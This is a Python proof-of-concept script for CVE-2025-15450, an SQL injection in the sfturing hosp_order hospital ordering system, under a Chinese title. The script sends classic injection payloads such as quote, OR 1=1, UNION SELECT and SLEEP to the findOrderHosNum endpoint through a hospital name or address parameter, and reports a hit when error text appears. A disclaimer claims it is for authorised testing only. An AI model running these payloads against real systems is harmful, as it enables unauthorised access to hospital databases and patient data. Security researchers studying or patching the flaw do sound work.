CVE-2025-15450 sfturing hosp_order SQL注入漏洞

import requests import sys # CVE-2025-15450 SQL Injection PoC # Target: sfturing hosp_order system # Vulnerable Parameter: hospitalAddress/hospitalName # Note: This is for educational and authorized testing purposes only def test_sql_injection(url, param_name, param_value): """Test for SQL injection vulnerability""" target_url = f"{url}/ssm_pro/orderHos/findOrderHosNum" # Payload: Basic SQL injection test payloads = [ "'", "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' OR 1=1--" ] for payload in payloads: params = {param_name: param_value + payload} try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error messages or time delays if response.status_code == 200: print(f"[*] Testing payload: {payload}") if "sql" in response.text.lower() or "error" in response.text.lower(): print(f"[!] Potential SQL injection detected with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-15450.py <url> <param_name>") print("Example: python cve-2025-15450.py http://target.com hospitalAddress") sys.exit(1) target_url = sys.argv[1] param_name = sys.argv[2] print(f"[*] Testing CVE-2025-15450 SQL Injection on {target_url}") result = test_sql_injection(target_url, param_name, "test") if result: print("[!] Vulnerability confirmed!") else: print("[*] No obvious SQL injection detected")